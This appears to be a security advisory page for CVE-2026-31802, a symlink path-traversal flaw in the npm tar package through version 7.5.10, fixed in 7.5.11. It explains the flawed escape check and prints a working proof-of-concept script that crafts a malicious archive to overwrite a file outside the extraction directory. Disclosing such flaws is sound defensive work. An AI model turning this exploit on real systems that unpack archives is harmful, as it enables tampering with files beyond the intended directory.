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Open-source package vulnerability · npm

CVE-2026-31802: node-tar Symlink Path Traversal via Drive-Relative Linkpath

highCVSS 4.0 8.2GHSA-9ppj-qmqm-q256

Summary tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. Details The extraction logic in Unpack[STRIPABSOLUTEPATH] validates ..

Published Mar 10, 2026

Affected packages

tar

Ecosystem
npm
Affected
<= 7.5.10
Fixed in
7.5.11
Check
npm ls tar

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

  1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
  2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
  3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
  4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with [email protected].

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

Credited to Jvr2022.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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